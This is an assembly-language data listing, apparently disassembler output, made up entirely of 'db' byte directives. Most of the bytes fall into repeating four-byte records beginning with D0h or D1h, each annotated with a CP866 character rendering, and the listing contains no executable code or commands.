		db 0D0h	; п
		db  99h	; ≥
		db 0C8h	; х
		db 0FEh	; Ч
		db 0D0h	; п
		db  99h	; ≥
		db 0C8h	; х
		db  1Eh	;  
		db 0D0h	; п
		db  99h	; ≥
		db  4Eh	; N
		db    5	;  
		db 0D0h	; п
		db  9Ah	;  
		db 0B3h	; Ё
		db    3	;  
		db 0D0h	; п
		db  9Ah	;  
		db  4Ch	; L
		db    2	;  
		db 0D0h	; п
		db  9Dh	; ²
		db    8	;  
		db    1	;  
		db 0D0h	; п
		db  9Fh	; ÷
		db    3	;  
		db    5	;  
		db 0D0h	; п
		db  10h	;  
		db 0AEh	; ў
		db    5	;  
		db 0D0h	; п
		db 0A0h	; ═
		db 0D1h	; я
		db  42h	; B
		db 0D0h	; п
		db 0A0h	; ═
		db 0D1h	; я
		db  56h	; V
		db 0D0h	; п
		db 0A0h	; ═
		db  5Eh	; ^
		db  22h	; "
		db 0D0h	; п
		db 0A0h	; ═
		db  5Eh	; ^
		db  2Ah	; *
		db 0D0h	; п
		db 0A1h	; ║
		db  74h	; t
		db    1	;  
		db 0D0h	; п
		db 0A1h	; ║
		db  74h	; t
		db    2	;  
		db 0D0h	; п
		db 0A1h	; ║
		db  78h	; x
		db  83h	; ┐
		db 0D0h	; п
		db 0A1h	; ║
		db  90h	; ░
		db    3	;  
		db 0D0h	; п
		db 0A1h	; ║
		db  9Ch	; °
		db    2	;  
		db 0D0h	; п
		db 0A1h	; ║
		db  9Fh	; ÷
		db    2	;  
		db 0D0h	; п
		db 0A1h	; ║
		db 0C9h	; и
		db    3	;  
		db 0D0h	; п
		db 0A1h	; ║
		db 0C9h	; и
		db    4	;  
		db 0D0h	; п
		db 0A1h	; ║
		db 0CCh	; л
		db 0DCh	; э
		db 0D0h	; п
		db 0A1h	; ║
		db 0CCh	; л
		db 0DDh	; щ
		db 0D0h	; п
		db 0A1h	; ║
		db 0E1h	; А
		db    1	;  
		db 0D0h	; п
		db 0A1h	; ║
		db 0F0h	; П
		db  0Ah	;  
		db 0D0h	; п
		db 0A1h	; ║
		db  20h	;  
		db  11h	;  
		db 0D0h	; п
		db 0A1h	; ║
		db  2Ch	; ,
		db  0Bh	;  
		db 0D0h	; п
		db 0A1h	; ║
		db  3Ah	; :
		db    3	;  
		db 0D0h	; п
		db 0A1h	; ║
		db  3Ah	; :
		db    4	;  
		db 0D0h	; п
		db 0A1h	; ║
		db  45h	; E
		db    6	;  
		db 0D0h	; п
		db 0A1h	; ║
		db  46h	; F
		db  14h	;  
		db 0D0h	; п
		db 0A1h	; ║
		db  4Fh	; O
		db    2	;  
		db 0D0h	; п
		db 0A1h	; ║
		db  54h	; T
		db  14h	;  
		db 0D0h	; п
		db 0A1h	; ║
		db  55h	; U
		db  32h	; 2
		db 0D0h	; п
		db 0A2h	; ╒
		db  77h	; w
		db  7Dh	; }
		db 0D0h	; п
		db 0A2h	; ╒
		db 0DFh	; ъ
		db    7	;  
		db 0D0h	; п
		db 0A3h	; ё
		db  40h	; @
		db    9	;  
		db 0D0h	; п
		db 0A5h	; ╔
		db 0C2h	; б
		db  0Bh	;  
		db 0D0h	; п
		db 0A5h	; ╔
		db  45h	; E
		db    1	;  
		db 0D0h	; п
		db 0A5h	; ╔
		db  4Fh	; O
		db    2	;  
		db 0D0h	; п
		db 0A9h	; ╘
		db  24h	; $
		db  0Bh	;  
		db 0D0h	; п
		db 0ABh	; ╚
		db  0Dh	;  
		db    2	;  
		db 0D0h	; п
		db 0ABh	; ╚
		db  89h	; ┴
		db  0Ah	;  
		db 0D0h	; п
		db 0ABh	; ╚
		db  89h	; ┴
		db  14h	;  
		db 0D0h	; п
		db 0ABh	; ╚
		db 0CBh	; к
		db    1	;  
		db 0D0h	; п
		db 0ABh	; ╚
		db 0D8h	; ь
		db    2	;  
		db 0D0h	; п
		db 0ABh	; ╚
		db 0E9h	; И
		db    5	;  
		db 0D0h	; п
		db 0ACh	; ╛
		db    0	;  
		db  1Fh	;  
		db 0D0h	; п
		db 0B0h	; ╟
		db  50h	; P
		db 0F5h	; У
		db 0D0h	; п
		db 0B0h	; ╟
		db  50h	; P
		db 0F6h	; Ж
		db 0D0h	; п
		db 0B2h	; ╡
		db  8Eh	; ▌
		db    7	;  
		db 0D0h	; п
		db  12h	;  
		db  30h	; 0
		db    1	;  
		db 0D0h	; п
		db  12h	;  
		db  30h	; 0
		db    2	;  
		db 0D0h	; п
		db  12h	;  
		db  5Eh	; ^
		db    4	;  
		db 0D0h	; п
		db 0B5h	; ╣
		db  64h	; d
		db 0F9h	; Ы
		db 0D0h	; п
		db 0B5h	; ╣
		db  64h	; d
		db 0FDh	; Щ
		db 0D0h	; п
		db 0B5h	; ╣
		db  75h	; u
		db 0FDh	; Щ
		db 0D0h	; п
		db 0B5h	; ╣
		db  83h	; ┐
		db    3	;  
		db 0D0h	; п
		db 0B5h	; ╣
		db  83h	; ┐
		db    4	;  
		db 0D0h	; п
		db 0B5h	; ╣
		db  83h	; ┐
		db    6	;  
		db 0D0h	; п
		db 0B5h	; ╣
		db  9Ch	; °
		db  22h	; "
		db 0D0h	; п
		db 0B5h	; ╣
		db  9Ch	; °
		db  23h	; #
		db 0D0h	; п
		db 0B5h	; ╣
		db 0AAh	; ╙
		db    2	;  
		db 0D0h	; п
		db 0B5h	; ╣
		db 0AEh	; ў
		db 0E1h	; А
		db 0D0h	; п
		db 0B5h	; ╣
		db 0BFh	; ©
		db    2	;  
		db 0D0h	; п
		db 0B5h	; ╣
		db 0D8h	; ь
		db    2	;  
		db 0D0h	; п
		db 0B5h	; ╣
		db  2Fh	; /
		db    1	;  
		db 0D0h	; п
		db 0B5h	; ╣
		db  2Fh	; /
		db  0Ch	;  
		db 0D0h	; п
		db 0B5h	; ╣
		db  3Bh	; ;
		db  0Ch	;  
		db 0D0h	; п
		db 0B5h	; ╣
		db  3Bh	; ;
		db  0Dh	;  
		db 0D0h	; п
		db 0B5h	; ╣
		db  3Dh	; =
		db    1	;  
		db 0D0h	; п
		db 0B5h	; ╣
		db  3Dh	; =
		db    2	;  
		db 0D0h	; п
		db 0B5h	; ╣
		db  47h	; G
		db    1	;  
		db 0D0h	; п
		db 0B6h	; І
		db  7Ah	; z
		db    2	;  
		db 0D0h	; п
		db 0B8h	; ╦
		db    1	;  
		db 0A7h	; ї
		db 0D0h	; п
		db 0B8h	; ╦
		db 0BEh	; Ў
		db    1	;  
		db 0D0h	; п
		db 0B9h	; ╧
		db  72h	; r
		db 0FEh	; Ч
		db 0D0h	; п
		db 0BDh	; Ґ
		db  68h	; h
		db    2	;  
		db 0D0h	; п
		db 0BDh	; Ґ
		db 0D1h	; я
		db    2	;  
		db 0D0h	; п
		db 0BDh	; Ґ
		db 0D1h	; я
		db    3	;  
		db 0D0h	; п
		db  13h	;  
		db  6Bh	; k
		db 0FCh	; Э
		db 0D0h	; п
		db  13h	;  
		db  6Bh	; k
		db 0FDh	; Щ
		db 0D0h	; п
		db  13h	;  
		db  85h	; ┘
		db  10h	;  
		db 0D0h	; п
		db  13h	;  
		db  85h	; ┘
		db  11h	;  
		db 0D0h	; п
		db 0BFh	; ©
		db  6Eh	; n
		db    1	;  
		db 0D0h	; п
		db 0BFh	; ©
		db  19h	;  
		db  14h	;  
		db 0D0h	; п
		db 0BFh	; ©
		db  20h	;  
		db    1	;  
		db 0D0h	; п
		db 0BFh	; ©
		db  23h	; #
		db    3	;  
		db 0D0h	; п
		db 0BFh	; ©
		db  24h	; $
		db  24h	; $
		db 0D0h	; п
		db 0BFh	; ©
		db  2Fh	; /
		db    3	;  
		db 0D0h	; п
		db 0BFh	; ©
		db  57h	; W
		db  0Ah	;  
		db 0D0h	; п
		db 0BFh	; ©
		db  57h	; W
		db  0Bh	;  
		db 0D0h	; п
		db 0C1h	; а
		db  0Eh	;  
		db    2	;  
		db 0D0h	; п
		db 0C2h	; б
		db 0B1h	; ╠
		db    2	;  
		db 0D0h	; п
		db 0C3h	; ц
		db 0C7h	; г
		db    2	;  
		db 0D0h	; п
		db 0C5h	; е
		db  74h	; t
		db  0Ah	;  
		db 0D0h	; п
		db    2	;  
		db  70h	; p
		db    2	;  
		db 0D0h	; п
		db    2	;  
		db  7Eh	; ~
		db    2	;  
		db 0D0h	; п
		db    2	;  
		db  4Dh	; M
		db  0Bh	;  
		db 0D0h	; п
		db  14h	;  
		db  23h	; #
		db    2	;  
		db 0D0h	; п
		db  14h	;  
		db  23h	; #
		db    3	;  
		db 0D0h	; п
		db 0C9h	; и
		db 0E0h	; Ю
		db  0Bh	;  
		db 0D0h	; п
		db 0C9h	; и
		db 0E0h	; Ю
		db  21h	; !
		db 0D0h	; п
		db 0CBh	; к
		db  88h	; ┬
		db  0Ch	;  
		db 0D0h	; п
		db 0CBh	; к
		db 0C9h	; и
		db    2	;  
		db 0D0h	; п
		db 0CDh	; м
		db  4Eh	; N
		db    2	;  
		db 0D0h	; п
		db 0CDh	; м
		db  4Eh	; N
		db    3	;  
		db 0D0h	; п
		db 0CFh	; о
		db  43h	; C
		db  64h	; d
		db 0D0h	; п
		db 0D0h	; п
		db  2Fh	; /
		db  6Bh	; k
		db 0D0h	; п
		db 0D0h	; п
		db  2Fh	; /
		db  6Ch	; l
		db 0D0h	; п
		db  15h	;  
		db  0Ah	;  
		db  0Ah	;  
		db 0D0h	; п
		db  15h	;  
		db  70h	; p
		db    2	;  
		db 0D0h	; п
		db  15h	;  
		db 0B7h	; Ї
		db    1	;  
		db 0D0h	; п
		db  15h	;  
		db 0B7h	; Ї
		db    2	;  
		db 0D0h	; п
		db  15h	;  
		db 0B9h	; ╧
		db  10h	;  
		db 0D0h	; п
		db  15h	;  
		db 0BEh	; Ў
		db  22h	; "
		db 0D0h	; п
		db  15h	;  
		db 0BEh	; Ў
		db  23h	; #
		db 0D0h	; п
		db  15h	;  
		db 0DDh	; щ
		db 0A9h	; ╘
		db 0D0h	; п
		db  15h	;  
		db 0E7h	; Г
		db 0D2h	; р
		db 0D0h	; п
		db  15h	;  
		db  1Bh	;  
		db    5	;  
		db 0D0h	; п
		db  15h	;  
		db  2Eh	; .
		db  0Ah	;  
		db 0D0h	; п
		db  15h	;  
		db  37h	; 7
		db  19h	;  
		db 0D0h	; п
		db  15h	;  
		db  3Ch	; <
		db  0Bh	;  
		db 0D0h	; п
		db 0D6h	; ж
		db  15h	;  
		db  90h	; ░
		db 0D0h	; п
		db 0D9h	; ы
		db 0D3h	; с
		db  0Ah	;  
		db 0D0h	; п
		db  16h	;  
		db 0E2h	; Б
		db  3Ah	; :
		db 0D0h	; п
		db 0DCh	; э
		db 0C0h	; ю
		db  28h	; (
		db 0D0h	; п
		db 0DFh	; ъ
		db 0A6h	; і
		db    3	;  
		db 0D0h	; п
		db 0E1h	; А
		db 0E2h	; Б
		db    2	;  
		db 0D0h	; п
		db 0E1h	; А
		db 0EFh	; О
		db    2	;  
		db 0D0h	; п
		db 0E4h	; Д
		db 0E4h	; Д
		db 0B9h	; ╧
		db 0D0h	; п
		db 0E5h	; Е
		db 0E6h	; Ф
		db 0E5h	; Е
		db 0D0h	; п
		db  17h	;  
		db  70h	; p
		db  0Ah	;  
		db 0D0h	; п
		db  17h	;  
		db  70h	; p
		db    2	;  
		db 0D0h	; п
		db  17h	;  
		db  76h	; v
		db  14h	;  
		db 0D0h	; п
		db  17h	;  
		db  76h	; v
		db    8	;  
		db 0D0h	; п
		db  17h	;  
		db  90h	; ░
		db    2	;  
		db 0D0h	; п
		db  17h	;  
		db 0D4h	; т
		db 0FDh	; Щ
		db 0D0h	; п
		db 0E6h	; Ф
		db 0F4h	; Т
		db    1	;  
		db 0D0h	; п
		db 0E7h	; Г
		db  60h	; `
		db  0Ch	;  
		db 0D0h	; п
		db 0EBh	; К
		db 0A0h	; ═
		db  0Bh	;  
		db 0D0h	; п
		db 0EBh	; К
		db 0A0h	; ═
		db  48h	; H
		db 0D0h	; п
		db 0EBh	; К
		db 0F8h	; Ь
		db  0Ah	;  
		db 0D0h	; п
		db 0EBh	; К
		db 0F8h	; Ь
		db    6	;  
		db 0D0h	; п
		db 0EBh	; К
		db  60h	; `
		db  0Ah	;  
		db 0D0h	; п
		db 0ECh	; Л
		db  43h	; C
		db    3	;  
		db 0D0h	; п
		db 0EDh	; М
		db  23h	; #
		db    3	;  
		db 0D0h	; п
		db 0EEh	; Н
		db  66h	; f
		db    2	;  
		db 0D0h	; п
		db 0EFh	; О
		db 0E2h	; Б
		db  15h	;  
		db 0D0h	; п
		db 0EFh	; О
		db  4Eh	; N
		db  86h	; ├
		db 0D0h	; п
		db 0EFh	; О
		db  50h	; P
		db    2	;  
		db 0D0h	; п
		db 0F2h	; Р
		db  0Ch	;  
		db    3	;  
		db 0D0h	; п
		db 0F2h	; Р
		db  0Eh	;  
		db    3	;  
		db 0D0h	; п
		db 0F2h	; Р
		db 0D0h	; п
		db  8Ah	; ┼
		db 0D0h	; п
		db 0F2h	; Р
		db  25h	; %
		db    3	;  
		db 0D0h	; п
		db 0F2h	; Р
		db  25h	; %
		db    4	;  
		db 0D0h	; п
		db 0F8h	; Ь
		db  20h	;  
		db 0D2h	; р
		db 0D0h	; п
		db  19h	;  
		db  68h	; h
		db    7	;  
		db 0D0h	; п
		db  19h	;  
		db  44h	; D
		db    5	;  
		db 0D0h	; п
		db 0FFh	;  
		db 0C8h	; х
		db  9Bh	; ⌡
		db 0D0h	; п
		db 0FFh	;  
		db 0C8h	; х
		db  9Ch	; °
		db 0D0h	; п
		db  1Ah	;  
		db 0CEh	; н
		db  0Ah	;  
		db 0D0h	; п
		db  1Bh	;  
		db    0	;  
		db  0Ah	;  
		db 0D0h	; п
		db  1Ch	;  
		db  75h	; u
		db  45h	; E
		db 0D0h	; п
		db  1Ch	;  
		db 0E8h	; Х
		db  0Ah	;  
		db 0D0h	; п
		db  1Ch	;  
		db  22h	; "
		db  0Ch	;  
		db 0D0h	; п
		db  1Ch	;  
		db  22h	; "
		db  0Dh	;  
		db 0D0h	; п
		db  1Dh	;  
		db 0C2h	; б
		db    2	;  
		db 0D0h	; п
		db    3	;  
		db  58h	; X
		db    2	;  
		db 0D0h	; п
		db    3	;  
		db  58h	; X
		db    7	;  
		db 0D0h	; п
		db  1Eh	;  
		db 0BDh	; Ґ
		db    2	;  
		db 0D0h	; п
		db  1Eh	;  
		db 0BDh	; Ґ
		db    4	;  
		db 0D0h	; п
		db  1Fh	;  
		db  69h	; i
		db  73h	; s
		db 0D0h	; п
		db  1Fh	;  
		db  6Bh	; k
		db  0Ah	;  
		db 0D0h	; п
		db  1Fh	;  
		db  6Dh	; m
		db    1	;  
		db 0D0h	; п
		db  1Fh	;  
		db  7Bh	; {
		db    2	;  
		db 0D0h	; п
		db  1Fh	;  
		db  80h	; ─
		db    2	;  
		db 0D0h	; п
		db  1Fh	;  
		db  80h	; ─
		db    3	;  
		db 0D0h	; п
		db  1Fh	;  
		db  8Eh	; ▌
		db    2	;  
		db 0D0h	; п
		db  1Fh	;  
		db  9Ch	; °
		db    2	;  
		db 0D0h	; п
		db  1Fh	;  
		db 0A0h	; ═
		db    1	;  
		db 0D0h	; п
		db  1Fh	;  
		db 0A0h	; ═
		db    2	;  
		db 0D0h	; п
		db  1Fh	;  
		db 0A3h	; ё
		db    5	;  
		db 0D0h	; п
		db  1Fh	;  
		db 0AEh	; ў
		db    2	;  
		db 0D0h	; п
		db  1Fh	;  
		db 0B0h	; ╟
		db 0FEh	; Ч
		db 0D0h	; п
		db  1Fh	;  
		db 0B7h	; Ї
		db    2	;  
		db 0D0h	; п
		db  1Fh	;  
		db 0D6h	; ж
		db    4	;  
		db 0D0h	; п
		db  1Fh	;  
		db 0FEh	; Ч
		db    5	;  
		db 0D0h	; п
		db  1Fh	;  
		db 0FEh	; Ч
		db    7	;  
		db 0D0h	; п
		db  1Fh	;  
		db  32h	; 2
		db  35h	; 5
		db 0D0h	; п
		db  1Fh	;  
		db  42h	; B
		db    2	;  
		db 0D0h	; п
		db  1Fh	;  
		db  5Bh	; [
		db  64h	; d
		db 0D0h	; п
		db  1Fh	;  
		db  63h	; c
		db    3	;  
		db 0D0h	; п
		db  21h	; !
		db 0CBh	; к
		db  0Ah	;  
		db 0D0h	; п
		db  21h	; !
		db 0CBh	; к
		db  0Bh	;  
		db 0D0h	; п
		db  21h	; !
		db  1Dh	;  
		db    2	;  
		db 0D0h	; п
		db  21h	; !
		db  1Dh	;  
		db    3	;  
		db 0D0h	; п
		db  22h	; "
		db  43h	; C
		db    2	;  
		db 0D0h	; п
		db  22h	; "
		db  5Bh	; [
		db    3	;  
		db 0D0h	; п
		db  23h	; #
		db 0C9h	; и
		db    2	;  
		db 0D0h	; п
		db  23h	; #
		db 0C9h	; и
		db    3	;  
		db 0D0h	; п
		db    4	;  
		db  3Ch	; <
		db    5	;  
		db 0D0h	; п
		db  2Ch	; ,
		db  86h	; ├
		db  19h	;  
		db 0D0h	; п
		db  2Dh	; -
		db  90h	; ░
		db  19h	;  
		db 0D0h	; п
		db  2Dh	; -
		db  92h	; ▓
		db  19h	;  
		db 0D0h	; п
		db  2Eh	; .
		db  71h	; q
		db 0C2h	; б
		db 0D0h	; п
		db  32h	; 2
		db  37h	; 7
		db  0Bh	;  
		db 0D0h	; п
		db  33h	; 3
		db    0	;  
		db  2Fh	; /
		db 0D0h	; п
		db  33h	; 3
		db    0	;  
		db  51h	; Q
		db 0D0h	; п
		db  33h	; 3
		db  68h	; h
		db  82h	; ┌
		db 0D0h	; п
		db  33h	; 3
		db 0F8h	; Ь
		db  0Ch	;  
		db 0D0h	; п
		db  33h	; 3
		db    8	;  
		db    2	;  
		db 0D0h	; п
		db  33h	; 3
		db    8	;  
		db    3	;  
		db 0D0h	; п
		db  37h	; 7
		db  5Bh	; [
		db  32h	; 2
		db 0D0h	; п
		db  37h	; 7
		db  5Bh	; [
		db  33h	; 3
		db 0D0h	; п
		db  39h	; 9
		db    0	;  
		db  0Ah	;  
		db 0D0h	; п
		db  39h	; 9
		db    0	;  
		db  0Bh	;  
		db 0D0h	; п
		db  39h	; 9
		db  62h	; b
		db  12h	;  
		db 0D0h	; п
		db  3Bh	; ;
		db 0C7h	; г
		db    7	;  
		db 0D0h	; п
		db  3Bh	; ;
		db 0C7h	; г
		db    8	;  
		db 0D0h	; п
		db    6	;  
		db 0E8h	; Х
		db  0Ah	;  
		db 0D0h	; п
		db    6	;  
		db 0E8h	; Х
		db  0Ch	;  
		db 0D0h	; п
		db    6	;  
		db 0E9h	; И
		db  0Ah	;  
		db 0D0h	; п
		db    6	;  
		db 0EEh	; Н
		db    3	;  
		db 0D0h	; п
		db    6	;  
		db 0EEh	; Н
		db    6	;  
		db 0D0h	; п
		db  3Dh	; =
		db 0C0h	; ю
		db    6	;  
		db 0D0h	; п
		db  3Dh	; =
		db 0E3h	; Ц
		db  0Ah	;  
		db 0D0h	; п
		db  3Eh	; >
		db 0A5h	; ╔
		db    9	;  
		db 0D0h	; п
		db    7	;  
		db  4Fh	; O
		db    2	;  
		db 0D0h	; п
		db    7	;  
		db  4Fh	; O
		db    4	;  
		db 0D1h	; я
		db    1	;  
		db  0Ah	;  
		db 0EAh	; Й
		db 0D1h	; я
		db    1	;  
		db  7Dh	; }
		db  0Ah	;  
		db 0D1h	; я
		db    1	;  
		db  0Dh	;  
		db  64h	; d
		db 0D1h	; я
		db    1	;  
		db 0DDh	; щ
		db  0Ah	;  
		db 0D1h	; я
		db    1	;  
		db 0DEh	; ч
		db 0F4h	; Т
		db 0D1h	; я
		db    1	;  
		db 0DEh	; ч
		db 0F5h	; У
		db 0D1h	; я
		db    1	;  
		db 0DEh	; ч
		db 0F6h	; Ж
		db 0D1h	; я
		db    1	;  
		db 0DEh	; ч
		db 0F7h	; В
		db 0D1h	; я
		db    1	;  
		db  17h	;  
		db 0C4h	; д
		db 0D1h	; я
		db    1	;  
		db 0EBh	; К
		db  78h	; x
		db 0D1h	; я
		db    1	;  
		db  1Ch	;  
		db  23h	; #
		db 0D1h	; я
		db    1	;  
		db  1Ch	;  
		db  2Bh	; +
		db 0D1h	; я
		db    1	;  
		db  1Ch	;  
		db  2Eh	; .
		db 0D1h	; я
		db    1	;  
		db  39h	; 9
		db  32h	; 2
		db 0D1h	; я
		db    1	;  
		db  63h	; c
		db  64h	; d
		db 0D1h	; я
		db  0Ah	;  
		db 0C6h	; ф
		db  44h	; D
		db 0D1h	; я
		db  0Ah	;  
		db  22h	; "
		db  37h	; 7
		db 0D1h	; я
		db  0Ah	;  
		db  42h	; B
		db  37h	; 7
		db 0D1h	; я
		db  64h	; d
		db  64h	; d
		db  12h	;  
		db 0D1h	; я
		db  64h	; d
		db  64h	; d
		db  22h	; "
		db 0D1h	; я
		db  64h	; d
		db 0ABh	; ╚
		db    1	;  
		db 0D1h	; я
		db  65h	; e
		db  77h	; w
		db 0ADh	; ґ
		db 0D1h	; я
		db  65h	; e
		db  82h	; ┌
		db    4	;  
		db 0D1h	; я
		db  65h	; e
		db  82h	; ┌
		db    5	;  
		db 0D1h	; я
		db  65h	; e
		db 0A4h	; є
		db    2	;  
		db 0D1h	; я
		db  65h	; e
		db  11h	;  
		db 0FEh	; Ч
		db 0D1h	; я
		db  65h	; e
		db 0C0h	; ю
		db  9Eh	; ·
		db 0D1h	; я
		db  65h	; e
		db 0C0h	; ю
		db    2	;  
		db 0D1h	; я
		db  65h	; e
		db  53h	; S
		db    1	;  
		db 0D1h	; я
		db  65h	; e
		db  53h	; S
		db    2	;  
		db 0D1h	; я
		db  69h	; i
		db  24h	; $
		db    2	;  
		db 0D1h	; я
		db  71h	; q
		db 0C8h	; х
		db    2	;  
		db 0D1h	; я
		db  71h	; q
		db 0C8h	; х
		db    3	;  
		db 0D1h	; я
		db  73h	; s
		db  98h	; ≤
		db  82h	; ┌
		db 0D1h	; я
		db  73h	; s
		db  98h	; ≤
		db  96h	; √
		db 0D1h	; я
		db  73h	; s
		db  5Dh	; ]
		db  1Ah	;  
		db 0D1h	; я
		db  74h	; t
		db  68h	; h
		db    2	;  
		db 0D1h	; я
		db  77h	; w
		db  5Ch	; \
		db  0Ah	;  
		db 0D1h	; я
		db  0Ch	;  
		db  20h	;  
		db  6Ah	; j
		db 0D1h	; я
		db  0Ch	;  
		db  21h	; !
		db  87h	; ┤
		db 0D1h	; я
		db  0Ch	;  
		db    9	;  
		db  0Bh	;  
		db 0D1h	; я
		db  0Ch	;  
		db    9	;  
		db  0Eh	;  
		db 0D1h	; я
		db  7Ch	; |
		db    2	;  
		db    2	;  
		db 0D1h	; я
		db  7Ch	; |
		db 0CBh	; к
		db  0Ch	;  
		db 0D1h	; я
		db  7Ch	; |
		db 0CBh	; к
		db  0Dh	;  
		db 0D1h	; я
		db  7Eh	; ~
		db    0	;  
		db    1	;  
		db 0D1h	; я
		db  7Fh	; 
		db    0	;  
		db  12h	;  
		db 0D1h	; я
		db  7Fh	; 
		db    0	;  
		db  13h	;  
		db 0D1h	; я
		db  7Fh	; 
		db  81h	; │
		db 0F3h	; С
		db 0D1h	; я
		db  7Fh	; 
		db  81h	; │
		db 0F5h	; У
		db 0D1h	; я
		db  80h	; ─
		db    1	;  
		db    4	;  
		db 0D1h	; я
		db  80h	; ─
		db 0E0h	; Ю
		db    2	;  
		db 0D1h	; я
		db  80h	; ─
		db 0E8h	; Х
		db    2	;  
		db 0D1h	; я
		db  81h	; │
		db  80h	; ─
		db    3	;  
		db 0D1h	; я
		db  82h	; ┌
		db 0BBh	; ╩
		db  0Ah	;  
		db 0D1h	; я
		db  82h	; ┌
		db  20h	;  
		db  3Fh	; ?
		db 0D1h	; я
		db  83h	; ┐
		db 0D8h	; ь
		db 0C9h	; и
		db 0D1h	; я
		db  83h	; ┐
		db 0D8h	; ь
		db 0CAh	; й
		db 0D1h	; я
		db  83h	; ┐
		db 0E0h	; Ю
		db  1Eh	;  
		db 0D1h	; я
		db  83h	; ┐
		db 0E0h	; Ю
		db  1Fh	;  
		db 0D1h	; я
		db  83h	; ┐
		db  20h	;  
		db  0Fh	;  
		db 0D1h	; я
		db  83h	; ┐
		db  20h	;  
		db  10h	;  
		db 0D1h	; я
		db  83h	; ┐
		db  60h	; `
		db 0D1h	; я
		db 0D1h	; я
		db  83h	; ┐
		db  61h	; a
		db  0Bh	;  
		db 0D1h	; я
		db  85h	; ┘
		db 0C0h	; ю
		db    2	;  
		db 0D1h	; я
		db  85h	; ┘
		db  15h	;  
		db  0Ah	;  
		db 0D1h	; я
		db  86h	; ├
		db 0A1h	; ║
		db  0Ah	;  
		db 0D1h	; я
		db  87h	; ┤
		db  63h	; c
		db    2	;  
		db 0D1h	; я
		db  87h	; ┤
		db  63h	; c
		db    3	;  
		db 0D1h	; я
		db  89h	; ┴
		db  9Dh	; ²
		db    9	;  
		db 0D1h	; я
		db  8Ch	; ▄
		db 0E0h	; Ю
		db    2	;  
		db 0D1h	; я
		db  8Ch	; ▄
		db 0E0h	; Ю
		db    5	;  
		db 0D1h	; я
		db  8Ch	; ▄
		db 0E0h	; Ю
		db    6	;  
		db 0D1h	; я
		db  8Dh	; █
		db  6Bh	; k
		db    3	;  
		db 0D1h	; я
		db  8Dh	; █
		db  6Bh	; k
		db    4	;  
		db 0D1h	; я
		db  8Dh	; █
		db 0DDh	; щ
		db    8	;  
		db 0D1h	; я
		db  8Dh	; █
		db 0E4h	; Д
		db    2	;  
		db 0D1h	; я
		db  8Dh	; █
		db 0E4h	; Д
		db    3	;  
		db 0D1h	; я
		db  8Dh	; █
		db 0F8h	; Ь
		db  14h	;  
		db 0D1h	; я
		db  8Dh	; █
		db 0FCh	; Э
		db    3	;  
		db 0D1h	; я
		db  8Dh	; █
		db    4	;  
		db    4	;  
		db 0D1h	; я
		db  8Dh	; █
		db  30h	; 0
		db    1	;  
		db 0D1h	; я
		db  8Dh	; █
		db  55h	; U
		db 0FAh	; З
		db 0D1h	; я
		db  8Dh	; █
		db  55h	; U
		db 0FEh	; Ч
		db 0D1h	; я
		db  8Dh	; █
		db  63h	; c
		db    2	;  
		db 0D1h	; я
		db  8Fh	; ▐
		db    0	;  
		db  0Ah	;  
		db 0D1h	; я
		db  8Fh	; ▐
		db 0C1h	; а
		db  50h	; P
		db 0D1h	; я
		db  0Fh	;  
		db    2	;  
		db    1	;  
		db 0D1h	; я
		db  0Fh	;  
		db    2	;  
		db    2	;  
		db 0D1h	; я
		db  96h	; √
		db  80h	; ─
		db  1Eh	;  
		db 0D1h	; я
		db  96h	; √
		db  81h	; │
		db    3	;  
		db 0D1h	; я
		db  96h	; √
		db 0A0h	; ═
		db  28h	; (
		db 0D1h	; я
		db  96h	; √
		db 0A0h	; ═
		db  2Ah	; *
		db 0D1h	; я
		db  97h	; ≈
		db    0	;  
		db  0Ah	;  
		db 0D1h	; я
		db  97h	; ≈
		db  81h	; │
		db    1	;  
		db 0D1h	; я
		db  97h	; ≈
		db  81h	; │
		db  8Eh	; ▌
		db 0D1h	; я
		db  97h	; ≈
		db 0A0h	; ═
		db  33h	; 3
		db 0D1h	; я
		db  97h	; ≈
		db 0A0h	; ═
		db  34h	; 4
		db 0D1h	; я
		db  97h	; ≈
		db 0C0h	; ю
		db  0Ah	;  
		db 0D1h	; я
		db  97h	; ≈
		db 0C1h	; а
		db  0Ah	;  
		db 0D1h	; я
		db  97h	; ≈
		db 0E0h	; Ю
		db  3Eh	; >
		db 0D1h	; я
		db  97h	; ≈
		db 0E8h	; Х
		db  3Eh	; >
		db 0D1h	; я
		db  9Ah	;  
		db 0C6h	; ф
		db  52h	; R
		db 0D1h	; я
		db  9Ah	;  
		db 0C6h	; ф
		db  56h	; V
		db 0D1h	; я
		db  9Ch	; °
		db  15h	;  
		db  35h	; 5
		db 0D1h	; я
		db  9Dh	; ²
		db  66h	; f
		db  0Bh	;  
		db 0D1h	; я
		db  10h	;  
		db 0D3h	; с
		db  2Ah	; *
		db 0D1h	; я
		db 0A0h	; ═
		db    0	;  
		db    2	;  
		db 0D1h	; я
		db 0A0h	; ═
		db    3	;  
		db    5	;  
		db 0D1h	; я
		db 0A0h	; ═
		db    7	;  
		db    2	;  
		db 0D1h	; я
		db 0A1h	; ║
		db 0A0h	; ═
		db  12h	;  
		db 0D1h	; я
		db 0A1h	; ║
		db 0A0h	; ═
		db  14h	;  
		db 0D1h	; я
		db 0A1h	; ║
		db 0AFh	; ╞
		db  1Dh	;  
		db 0D1h	; я
		db 0A1h	; ║
		db 0AFh	; ╞
		db  2Ch	; ,
		db 0D1h	; я
		db 0A6h	; і
		db 0A0h	; ═
		db  84h	; └
		db 0D1h	; я
		db 0A6h	; і
		db 0A0h	; ═
		db  24h	; $
		db 0D1h	; я
		db 0A6h	; і
		db 0A0h	; ═
		db  2Dh	; -
		db 0D1h	; я
		db 0A6h	; і
		db 0A0h	; ═
		db  2Eh	; .
		db 0D1h	; я
		db 0A6h	; і
		db 0C2h	; б
		db    2	;  
		db 0D1h	; я
		db 0A6h	; і
		db 0C2h	; б
		db    3	;  
		db 0D1h	; я
		db 0A6h	; і
		db  40h	; @
		db    3	;  
		db 0D1h	; я
		db 0A6h	; і
		db  41h	; A
		db    1	;  
		db 0D1h	; я
		db 0A7h	; ї
		db  77h	; w
		db  0Dh	;  
		db 0D1h	; я
		db 0A7h	; ї
		db 0BCh	; ╪
		db  0Ah	;  
		db 0D1h	; я
		db  11h	;  
		db 0C5h	; е
		db  12h	;  
		db 0D1h	; я
		db  11h	;  
		db 0C5h	; е
		db    2	;  
		db 0D1h	; я
		db 0AAh	; ╙
		db 0D8h	; ь
		db    2	;  
		db 0D1h	; я
		db 0AAh	; ╙
		db 0D8h	; ь
		db    3	;  
		db 0D1h	; я
		db 0AAh	; ╙
		db 0D8h	; ь
		db    9	;  
		db 0D1h	; я
